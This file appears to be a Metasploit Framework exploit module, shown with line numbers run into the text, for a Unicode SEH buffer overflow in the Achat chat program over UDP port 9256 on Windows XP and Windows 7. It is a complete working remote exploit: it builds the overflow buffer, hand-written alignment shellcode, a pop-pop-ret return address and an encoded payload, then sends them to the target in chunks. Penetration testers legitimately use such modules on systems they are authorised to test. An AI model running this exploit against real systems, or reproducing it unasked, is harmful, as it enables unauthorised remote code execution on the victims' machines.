Path: blob/master/modules/exploits/windows/misc/achat_bof.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Achat Unicode SEH Buffer Overflow',16'Description' => %q{17This module exploits a Unicode SEH buffer overflow in Achat. By18sending a crafted message to the default port 9256/UDP, it's possible to overwrite the19SEH handler. Even when the exploit is reliable, it depends on timing since there are20two threads overflowing the stack in the same time. This module has been tested on21Achat v0.150 running on Windows XP SP3 and Windows 7.22},23'Author' => [24'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery25'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module26],27'License' => MSF_LICENSE,28'References' => [29['CWE', '121'],30],31'DefaultOptions' => {32'EXITFUNC' => 'process'33},34'Payload' => {35'DisableNops' => true,36'Space' => 730,37'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),38'StackAdjustment' => -3500,39'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,40'EncoderOptions' =>41{42'BufferRegister' => 'EAX'43}44},45'Platform' => 'win',46'Targets' => [47# Tested OK Windows XP SP3, Windows 748# Not working on Windows Server 200349[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] # ppr from AChat.exe50],51'Privileged' => false,52'DefaultTarget' => 0,53'DisclosureDate' => '2014-12-18',54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64Opt::RPORT(9256)65]66)67end6869def exploit70connect_udp7172# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding73# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding74# 55 PUSH EBP # ebp holds a close pointer to the payload75# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding76# 58 POP EAX # mov eax, ebp77# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding78# 05 00140011 ADD EAX,11001400 # adjusting eax79# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding80# 2D 00130011 SUB EAX,11001300 # lea eax, eax+10081# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding82# 50 PUSH EAX # eax points to the start of the shellcode83# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding84# 58 POP EAX # padding85# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding86# 59 POP ECX # padding87# 0039 ADD BYTE PTR DS:[ECX],BH # padding88first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"8990sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"91sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)92sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset93sploit << "\x61\x40" # POPAD + INC EAX9495sploit << target.ret # AChat.exe p/p/r address9697# adjusting the first thread's unicode payload, tricky asm-fu98# the first seh exception jumps here, first_stage variable will be executed99# by the second seh exception as well. It needs to be in sync with the second100# thread, so that is why we adjust eax/ebp to have a close pointer to the101# payload, then first_stage variable will take the rest of the job.102# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding103# 55 PUSH EBP # ebp with close pointer to payload104# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding105# 58 POP EAX # put ebp to eax106# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding107# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place108# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more109# 05 00140011 ADD EAX,11001400 # more adjusting110# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding111# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100112# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding113# 50 PUSH EAX # saving eax114# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding115# 5D POP EBP # mov ebp, eax116sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"117sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread118sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 - 3) # put address of the payload to EAX119sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload120sploit << "\x00" + 'A' * 10 + "\x00"121122i = 0123while i < sploit.length do124if i > 172000125Rex::sleep(1.0)126end127sent = udp_sock.put(sploit[i..i + 8192 - 1])128i += sent129end130disconnect_udp131end132end133134135